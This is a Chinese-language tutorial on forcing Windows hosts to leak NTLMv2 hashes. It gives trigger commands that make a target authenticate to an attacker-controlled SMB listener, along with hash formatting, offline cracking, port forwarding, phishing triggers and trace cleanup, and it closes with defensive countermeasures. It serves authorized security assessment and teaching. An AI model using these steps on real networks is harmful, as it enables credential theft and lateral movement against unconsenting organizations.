1. 从一次内网排查任务说起为什么Windows会主动交出凭据很多刚接触内网安全评估的朋友都会有一个疑问我什么都没做只是让目标机器访问了一个共享目录怎么凭据就跑到别人手里了这个问题的答案藏在Windows的认证机制里而netsh这个系统自带的网络配置工具恰好能成为触发这一过程的扳机。先把场景说清楚。假设你在一次授权的内网评估中已经拿到了某台Windows主机的命令执行权限但这台机器只是个跳板真正有价值的数据在另一台文件服务器上。你手里没有那台文件服务器的任何账号密码直接去连肯定被拒。这时候如果能让跳板机主动去访问一个由你控制的共享路径Windows在认证过程中就会把当前登录用户的NTLMv2响应发出来。你抓到这个响应就可以拿回去做离线分析进而评估口令强度是否达标。netsh在这里扮演的角色是Windows内置的一个命令行网络配置工具原本用于查看和修改网络接口、防火墙、路由等设置。它有一个不太起眼但非常实用的子命令netsh trace可以启动网络抓包。但本文要讲的不是用netsh抓包而是利用netsh相关的网络操作能力配合系统原生的文件访问行为去触发对远程文件服务器的认证请求。这个思路的价值在于全程只用系统自带工具不需要上传任何第三方可执行文件隐蔽性相对较好在受限环境下也能跑通。这篇文章适合谁看如果你正在学习内网渗透的基础链路或者想理解Windows认证协议在实际攻防中是怎么被利用的那这篇内容会对你有帮助。我会从原理讲起把每一步为什么这么做、参数怎么算、坑在哪里都掰开说清楚。需要强调的是所有操作都必须在获得明确书面授权的环境中进行未经授权的测试属于违规行为这一点没有商量余地。2. NTLMv2认证的握手细节凭据到底在哪一步泄露2.1 挑战应答机制的核心逻辑要理解凭据是怎么被抓到的得先搞明白NTLMv2的认证流程。NTLM是一种挑战应答式的认证协议整个过程可以类比成这样一个场景你想进一栋大楼门卫不会直接问你要密码而是先给你一个随机数挑战你拿这个随机数和你自己的密码做一系列运算算出一个结果应答交回去门卫用他那边存的密码哈希做同样的运算如果结果一致就放行。这个设计的好处是密码本身不在网络上传输但问题在于那个应答值是可以被截获的。攻击者拿到挑战和应答之后可以在本地用字典去暴力碰撞因为整个计算过程是确定性的。NTLMv2相比NTLMv1做了改进加入了客户端挑战、时间戳等随机因素使得预计算彩虹表基本失效但离线爆破依然可行只是成本更高。具体到协议层面一次典型的NTLMv2认证包含三个消息消息类型方向内容Type 1 (NEGOTIATE)客户端 → 服务端协商认证参数、支持的加密算法Type 2 (CHALLENGE)服务端 → 客户端16字节随机挑战值Type 3 (AUTHENTICATE)客户端 → 服务端用户名、域名、挑战应答、HMAC等我们要抓的就是Type 3消息里的内容。它包含了足够的信息让你在本地进行口令强度测试用户名、域名、服务器挑战、客户端挑战、HMAC-MD5值等。把这些拼成特定格式就是常说的hash。2.2 为什么访问共享就会自动认证关键点来了当Windows主机尝试访问一个UNC路径比如\\server\share时如果当前登录会话的凭据没有被缓存用于该目标系统会自动用当前用户的凭据去尝试认证。这个行为是默认开启的不需要用户手动输入密码。也就是说只要你能让目标机器去访问一个你指定的UNC路径它就会乖乖把当前用户的NTLMv2响应发过来。这里有一个容易被忽略的细节Windows在访问UNC路径时会优先尝试用当前登录用户的凭据。如果失败才会弹出凭据输入框。而在命令行环境下很多时候连弹框都不会有直接静默失败。但无论成功还是失败认证请求已经发出去了响应已经被你的监听端接收到了。那么问题就转化为如何让目标机器去访问一个我控制的UNC路径这就是netsh以及相关系统工具发挥作用的地方。3. 搭建监听端用系统自带能力接收认证请求3.1 监听方案的选择与取舍要接收目标机器发来的NTLMv2响应你需要一个能响应SMB认证请求的监听端。常见的选择有几种用现成的渗透测试框架里的模块、用Python写一个简易的SMB服务、或者用系统自带的工具组合。考虑到本文强调利用系统自带工具的思路我倾向于选择轻量级的方案减少对目标环境的依赖。在实际操作中我通常会在一台可控的机器上运行一个SMB认证监听器。这个监听器的核心功能很简单当有客户端来连接时完成NTLM握手把Type 3消息里的关键字段提取出来按固定格式输出。你不需要真的提供一个可用的共享只需要能完成认证协商即可。注意监听端所在的机器必须和目标机器网络可达且防火墙允许445端口SMB或相应端口的入站连接。如果目标环境有网络分段或主机防火墙限制这一步可能直接卡住。3.2 监听端配置的关键参数假设你用的是常见的监听工具配置时需要注意几个点。第一绑定地址要选对如果你有多张网卡要绑定到目标能访问到的那张网卡的IP上。第二要确保监听进程有权限绑定445端口在Linux上需要root在Windows上需要管理员权限。第三如果目标环境有SMB签名强制要求认证过程可能会失败但即便如此Type 3消息有时仍然会被发送具体取决于客户端配置。我踩过的一个坑是监听端跑起来了目标也发起了连接但抓到的hash格式不完整。排查后发现是监听工具默认只输出了部分字段需要手动开启详细模式。所以建议在正式操作前先用自己的测试机连一下监听端确认能完整抓到格式正确的hash再去对目标操作。3.3 验证监听端是否正常工作验证方法很简单在另一台机器上用文件资源管理器地址栏输入\\监听端IP\任意共享名回车。如果监听端配置正确你应该能看到类似这样的输出用户名: TESTUSER 域名: TESTDOMAIN 挑战: 1122334455667788 响应: 1a2b3c4d5e6f7a8b... HMAC: 9f8e7d6c5b4a3f2e...如果什么都没抓到先检查网络连通性ping、telnet 445再检查监听进程是否真的在监听netstat -an | grep 445最后检查防火墙规则。这三步能解决大部分抓不到的问题。4. 触发认证让目标机器主动连接你的共享4.1 netsh相关命令的实际作用现在进入核心环节怎么让目标机器去访问你的UNC路径。netsh本身是一个网络配置工具它不能直接命令系统去访问某个共享。但netsh可以配合其他系统命令完成这个任务。比如你可以用netsh查看当前网络配置确认目标机器能路由到你的监听端也可以用netsh临时调整防火墙规则确保出站445端口不被拦截。更直接的方式是使用系统自带的文件操作命令。在Windows上dir \\server\share、type \\server\share\file、copy \\server\share\file .这些命令都会触发对远程共享的认证。net use \\server\share也是常用的触发方式。这些命令不需要额外工具在任何Windows主机上都能执行。如果你已经通过某种方式在目标机器上获得了命令执行能力直接执行上述命令即可。如果只能通过钓鱼等方式诱导用户操作那么一个指向UNC路径的快捷方式或文档链接也能达到目的。4.2 触发命令的构造与执行假设你的监听端IP是192.168.1.100你想让目标机器去访问\\192.168.1.100\share。在目标机器的命令行里执行dir \\192.168.1.100\share或者net use \\192.168.1.100\share执行后目标机器会尝试用当前登录用户的凭据进行NTLM认证。你的监听端应该立刻收到Type 3消息。整个过程通常在毫秒级完成你几乎感觉不到延迟。这里有个经验如果目标机器之前已经成功认证过同一个服务器凭据可能被缓存再次访问时可能直接用缓存的会话不再发送新的认证请求。这时候可以换一个共享名或者换一个IP如果你有多个IP强制触发新的认证。另外如果目标机器开启了仅NTLMv2响应策略你抓到的就是NTLMv2格式这也是目前最常见的情况。4.3 触发失败时的排查思路有时候命令执行了但监听端没反应。排查顺序建议这样走先在目标机器上ping 监听端IP确认网络层可达然后telnet 监听端IP 445确认TCP层可达如果这两步都通但认证没触发可能是目标机器的凭据缓存问题换个共享名再试如果还是不行检查目标机器是否禁用了对匿名或非信任目标的SMB出站某些安全加固策略会拦截这类行为。还有一种情况是抓到了hash但格式不对比如缺少域名或用户名。这通常是因为目标机器用的是本地账户而非域账户或者监听端解析逻辑有差异。多试几次对比不同触发方式的结果一般能定位到原因。5. 抓到的Hash怎么用离线分析与口令强度评估5.1 Hash格式的解析与转换抓到的原始数据需要整理成标准格式才能用于后续分析。NTLMv2的hash通常长这样用户名::域名:服务器挑战:响应:客户端挑战:HMAC不同工具输出的格式可能略有差异但核心字段是一致的。你需要确保用户名、域名、挑战值、响应值都完整无误。如果要做离线分析通常会用支持NTLMv2的破解工具把hash导入后配合字典或规则进行测试。这里要强调一点离线分析的速度取决于你的硬件和字典质量。NTLMv2的计算成本比NTLMv1高很多纯CPU跑速度很慢有条件的话用GPU加速会快几个数量级。字典方面针对企业环境结合常见的口令策略比如季节年份、公司名数字等构造针对性字典命中率会明显高于通用字典。5.2 口令强度评估的实际意义抓到hash并成功还原出口令在授权评估中的价值在于它能直观地证明当前口令策略是否存在弱点。比如如果某个服务账户的口令是Summer2024!这种可预测的模式那就说明口令复杂度策略和定期更换策略执行不到位。这类发现比单纯报告存在NTLMv2 hash泄露要有说服力得多。在实际报告中我通常会这样呈现先说明通过何种方式触发了认证请求再展示抓到的hash类型最后给出是否成功还原及还原所用的时间。如果没还原出来也要说明尝试了哪些字典和规则这同样能反映口令的强度。5.3 防御视角如何阻断这类凭据泄露从防守方的角度看要阻断这条链路有几个层面可以做。第一在网络层限制出站SMB流量只允许访问必要的文件服务器其他一律阻断。第二启用SMB签名虽然不能完全阻止认证请求发出但能增加中间人攻击的难度。第三也是最根本的逐步淘汰NTLM向Kerberos迁移并开启限制NTLM出站流量策略。第四加强口令策略提高口令的不可预测性让离线分析的成本高到不可接受。我在实际评估中见过不少环境明明已经上了EDR和流量检测但出站SMB完全没有限制导致一台普通工作站被拿下后可以轻易触发对任意IP的认证请求。这类配置疏漏往往比漏洞本身更值得关注。6. 实操中的坑与经验从触发到抓取的完整链路复盘6.1 网络分段环境下的应对很多企业内网做了分段办公区、服务器区、DMZ之间访问控制很严。这时候你的监听端如果放在办公区目标机器在服务器区可能根本连不通。解决办法是把监听端部署在目标能访问到的网段或者利用已经拿下的跳板机做端口转发。但端口转发会引入额外的复杂性而且可能被流量检测发现需要权衡。我个人的经验是优先选择目标机器能直接访问的监听位置。如果做不到再考虑转发。转发时尽量用系统自带的端口转发功能比如netsh interface portproxy这样不需要额外工具隐蔽性也好一些。netsh interface portproxy的配置方法这里不展开核心思路是把目标能访问的某个端口转发到你的监听端。6.2 触发命令被拦截的常见原因有些环境对命令行执行有严格限制dir \\server\share这种命令可能被应用白名单拦截。这时候可以换其他触发方式比如用PowerShell的Get-ChildItem \\server\share或者用net use。如果命令行完全被封可以考虑通过钓鱼文档中的远程模板注入、或者快捷方式指向UNC路径等方式触发。但这些都是社会工程范畴需要结合具体场景评估可行性。还有一个坑是目标机器可能配置了不允许匿名访问命名管道或类似策略导致认证请求在到达你的监听端之前就被本地策略拦截。这种情况下换用IP地址而非主机名、换用不同的共享名有时能绕过部分限制。6.3 抓取后的清理与痕迹处理在授权评估中操作完成后要清理痕迹。用net use建立的连接要记得删除net use \\server\share /delete临时修改的防火墙规则要恢复上传的任何文件要清理。虽然这些操作在专业评估中通常会被记录在案但保持环境整洁是基本素养。另外如果你的监听端记录了日志记得妥善保管这些是报告的重要素材。同时也要注意日志本身的安全避免泄露敏感信息。7. 从单点技巧到体系化认知这条链路教会我们什么把这条链路走通之后你会发现它不仅仅是一个抓hash的技巧而是理解Windows认证体系的一个切入点。NTLMv2的挑战应答机制、UNC路径的自动认证行为、系统自带工具的组合使用这些知识点串联起来构成了内网横向移动的基础认知。我在多次评估中体会到真正有效的攻击路径往往不是靠某个高级漏洞而是靠对系统默认行为的深刻理解。Windows为了方便用户访问网络资源默认允许自动认证这个设计在提升体验的同时也带来了风险。防守方如果只盯着漏洞补丁而忽略了这些合法功能的滥用可能就很难构建完整的防御体系。对于学习内网安全的朋友我的建议是不要急着去背工具命令先把协议原理搞透。理解了NTLM握手的每一步你自然就知道该在哪里截获、该关注哪些字段、该怎么构造触发条件。工具会过时原理不会。另外一定要在合法授权的环境中练习自己搭一套包含域控、文件服务器、工作站的实验环境把整条链路跑通几遍比看十篇文章都管用。最后分享一个小技巧在实验环境里你可以用Wireshark同时抓包对照监听端输出的hash和原始流量这样能更直观地理解每个字段对应协议里的哪个部分。我当初就是这么把NTLMv2的字段含义彻底搞明白的比死记硬背强得多。